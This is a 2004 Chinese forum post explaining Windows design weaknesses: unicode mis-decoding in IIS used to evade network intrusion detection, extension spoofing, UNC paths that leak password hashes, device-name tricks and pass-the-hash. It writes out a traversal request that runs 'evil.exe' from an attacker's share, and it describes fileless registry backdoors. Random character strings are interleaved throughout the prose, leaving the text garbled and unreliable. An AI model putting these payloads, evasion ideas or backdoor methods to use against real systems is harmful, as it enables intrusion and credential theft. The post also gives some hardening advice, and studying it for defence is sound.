在线时间 0 小时 最后登录 2007-9-23 注册时间 2004-9-10 听众数 3 收听数 0 能力 0 分 体力 9975 点 威望 7 点 阅读权限 150 积分 4048 相册 0 日志 0 记录 0 帖子 1893 主题 823 精华 2 分享 0 好友 0
我的地盘我做主
该用户从未签到
这篇文章早就想写了，只是题目太大了，所以一直不敢写，高手可以厚积薄发，我只能积多少发多少了。 5 g$ V( O4 q w" V" F" Z: ~ 9 j% ]5 s6 W. q# A( T 关于Windows 和*nix 谁更安全的讨论很多。*nix 大家知道存在着suid之类的死穴，那么Windows的哪些特点始终与安全问题纠结在一起呢？2 H4 j7 |! T' S 2 Z4 z' |3 D1 e) |5 R& e' L; |) f. P ' t* o ] {- X4 O z$ w9 Y . E0 Q. B6 d9 t% s7 Q4 g) {5 N + i8 ~" G! W+ O, m v- l & l; o# a* P% K7 q 曾经有人说Windows .net出来，搞Windows 安全的就没饭吃了，我看一定不会，盖兹不会那么残忍。9 Y- R1 m$ U& c. H3 E% `) t % f9 |7 {3 `& z+ u( A2 ~ 二：盲目追求易用性和兼容性/ Z7 l, w! e& x* c6 S$ e% F7 ] ( B* U0 C0 a1 o3 o6 R2 E/ C $ R0 E" A; g- r$ Z1 B3 r 光源从哪个角度照下来好看。好用的东西，傻瓜的东西，大家当然愿意买。所以默认就什么都支持，什么都包含，什么都关联什么都兼容。* v8 k5 m( p2 H' M$ ^$ H8 y $ a: Q% N: @2 @0 E" C/ x+ [ / n- v. D' T- n5 n2 T4 c1 | " o$ Z# \' o, V5 ?" x8 T. u3 z: l + p% \5 g" [8 w+ z- `! ] E6 N 3 t+ r" J9 @( P8 [5 M$ ?3 j IIS的unicode漏洞我就不多说了，其实除了IIS，其他还有不少Windows上的web 服务器存在类似问题。因为对unicode 的解码是系统内核完成的，真要想把错误解码问题解决，估计花钱不会少。我发现微软其实并没有在unicode 漏洞的补丁中真正把错误解码纠正，而只是简单过滤了一些危险的字符编码。主要是不允许“.”和“/”或者“”在一起出现，否则就报错。所以我们仍然能用错误解码来做一些事情，譬如说对付NIDS。把我们要扫描或者利用的http请求转换成错误编码格式，大多数的NIDS都是不能识别的。大家可以试验一下，看看是不是有哪家的NIDS 可以检测到这个。附录1是我自己搞的一个Windows 2000 中文版unicode错误解码表，不一定很全，大家可以参考。有兴趣的可以用这张表搞一个扫描器，对每一个字符随机使用正常unicode编码、utf8 编码和错误解码，看看是否还有什么NIDS可以识别。0 E4 V/ w. j) u4 F( I * i6 _ a& o, W; I" C ^# ?1 U& E N/ v4 m # |1 ?0 Q' O! k9 l3 D9 K0 ` 2、扩展名欺骗8 N0 U4 Y4 a! a$ p 9 e3 {$ }9 g# Y4 V) a 我们都认为Windows下文件性质由扩展名决定，也很容易相信一个doc（关掉宏的话）或者gif文件是无害的。但事实上，Windows不完全是按照扩展名来处理文件的，它会根据文件头部的信息对文件性质作初步的判断。NT 4就曾经出现过这样的问题：对于一个EXE 文件，当命名为.DOC时，双击运行，系统仍然按照EXE文件来加载执行！即使Windows 2000下，我们把一个EXE 文件扩展名改成任意的，在命令提示符下仍然会当作EXE文件运行：- U5 {: i1 o/ u6 A& K , C$ {% h7 o. P- Q3 r. R - j: E8 R( t) ]4 e, P( e only test !+ X' \5 M* b, B- U( V # H% m( o8 R: M7 ?- Y4 n C:>ren test.exe test.txt( j& F8 Q$ p5 k C:>test.txt1 h5 e; D5 Q7 K5 n. K1 C only test !* q+ Q/ }, z/ @* s! t3 p, A ) E- x& u- b* T; w8 G$ v( W ' `# [& n. y0 W+ v C:>test.any+ T. c" @+ [; l, G! d' ^ only test !4 L! s$ P" r$ f7 ?3 G 9 q9 R7 \7 ^! U6 ~+ U% } 1 _% ^" h4 x7 ]# d% K h& B+ f" ~. y1 @0 C & }' W9 F$ K9 y. }! } ( Y4 L6 l4 b" K# V* W, l 能运行16位程序、OS2、POSIX 程序也是Windows NT/2000的一个卖点。但是由于对这些的支持需要使用一些系统级的 Privilege，也可以认为是某种意义上的suid，所以造成了安全隐患。历史上NT 4就曾经由于POSIX 子系统的问题出现过提升权限的漏洞。一般的系统加固手册中都会要求关掉这些支持。; D- v7 R& n1 o8 z6 c! i8 N" k " v( f0 D9 z6 |, g; g Dos对长文件名会作截短处理，Windows NT/2000虽然支持长文件名，但默认也支持截短后的8.3 格式。当我们对某个文件进行基于文件名的访问控制的时候，就有可能通过使用截短的8.3 文件名来绕过控制。对于某些设计未考虑此问题的WEB服务器来说，就可能导致CGI源码泄漏。4 w: U- E0 p8 a0 z; W* y) W 4 E: E! A$ }! `( r 4 g+ n3 e1 {# ]0 y" M# i) s $ r3 ^2 x# P$ n& Z: E: e ; x) h' K6 M4 |6 M) x0 i/ P 4 b X. D& S1 ~8 i7 s# i. i 5、UNC路径支持" f7 y% ^+ g8 h; M$ ]' I 3 V) O4 l1 y( u- F7 h4 `9 e 对UNC 路径的支持可以使我们很简单的访问远程文件，但它所带来的安全问题也的确是太多了。首先，UNC 几乎在任何地方都可以被使用，可以有无数种方法欺骗用户访问入侵者的机器，而Windows NT/2000 的认证机制为了易用性，默认会在你访问的时候主动把当前用户密码散列值发送过去，对于没有加固的系统来说，散列值和密码本身几乎是没有什么区别的。1 }; t" h3 x6 ]( _) i " c# z$ ? d: H2 F0 ^% C 2 W9 O8 [6 i: T+ I - q+ j! P, C: ~ : d( B! w' ~! z 类似的，在一些漏洞的利用中，即使用户对所有目录都不可写，我们仍然可以运行指定的程序：http://host/scripts/../../cmd.exe?/c+\myhostshareevil.exe i' F5 T2 ] p" ^5 \5 V- O . T. o& ]1 Y" Y2 u! j: t: v& j 同样还可以用UNC 路径来安装真正无文件的后门，只要在注册表某个可以自启动的项上或者计划任务列表中添加一个指向UNC路径的程序即可。这个文件是不存在于本地硬盘上的，甚至也不会在临时文件夹里，可以躲过很多审核工具。+ J4 m1 I( F* g3 t( ^2 ? : p# w( n1 H6 U# I# d9 X 5 D2 o3 S4 n5 E $ I7 u8 o ?! S8 N* S6 K 6、设备文件名问题; J1 a2 Z( J6 X1 V7 j5 [9 v" R7 @6 ~ 3 w! Y+ p- H$ s T: {" R2 ^; t - j6 A# w3 R. B : `1 j+ T( u- P$ s 为了向上兼容，DOS设备文件名，如“PRN”、“CON”等在Windows NT/2000下仍然被支持。9X 下可以通过简单的直接对DOS 设备文件名的访问导致蓝屏，Windows NT/2000下做了一些处理，但是很多程序还是存在类似的问题，譬如Lotus Domino Server、OE等，甚至IIS在某些特殊情况下也会受影响导致拒绝服务。& V& I5 }$ y5 d$ | 0 W( @" n' d _: b: S% _ 又因为这些设备文件名是“无处不在”的，当我们需要某种类型文件来做点事情的时候就用得上了。先假设存在一个.plx的溢出，但是WEB目录下根本没有.plx 文件，这时候我们就可以用con.plx这样的文件来传递溢出代码了。# ]* r$ g& Y% v+ b5 c- F j , c# P( H! c: w" Y, y 7、注册表庞大而复杂. ?5 e' i" m* K- m) |# c 7 u& m) P0 ^" A2 W; c1 b# ] 注册表对于Windows 来说太重要了，也有太多的东西了，其中还有那么多是未公开的。如果在注册表里留个后门，弄得好的话，几乎是不可能被审核出来的。所以定期备份注册表文件对一个Windows系统管理员来说是很重要的。* |3 `( q, o. K : s1 W9 |3 \3 k: B7 _6 _# a 8、WSH，script, G/ e9 ~! p: F+ q$ Q& [4 z/ D 5 ^& _7 L* O/ Q 4 u5 K8 q" Z) C) E. l 5 J. [" z' ^. u/ Z% @ 9、系统权限分配繁冗5 p9 J: N, Z& `* b+ ^0 f5 C. j: d# x% g . m, U# V" d2 F6 x3 w& { " Z6 d' |- F4 Y( M; |5 a" q4 e . S8 G0 {* _) W T. w. k! [' t+ i4 C 10、默认兼容lanman验证( r/ v; I; Y- s) t 4 s1 `7 T7 I- X. ^ 早在Windows NT 4.0的时代，就有人提出了传递散列值的进攻方法。因为在lanman验证方法中只是简单的比对MD 4散列值。那么理论上只要我们有了帐号和口令的散列值就可以通过lanman 验证，而不需要用l0pht Crack之类的工具去解出口令。由于这种攻击方式需要从根本上改动验证过程，而修改Windows内核过于困难，当时的发现者是使用修改Samba的方法来实现的，而且代码并未公开。最近有人对此提出可一个新思路，并公开了代码，可以在各种平台上实现，使得这个问题的风险大大增加了。所以在作系统加固的时候一定要把验证方式改掉。 n5 A* ~) B: R% z/ i7 i + S) R: G2 J b% s! t0 a# |1 n" N $ V) D9 ~7 ]) t, H# o5 g , {6 Q: w+ G- C% [; }. l
zan
IP卡
狗仔卡
发表于 2004-10-9 14:44
转播
淘帖
分享
收藏
支持
反对
微信
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
抢沙发
显身卡
发表于 2004-10-17 21:01
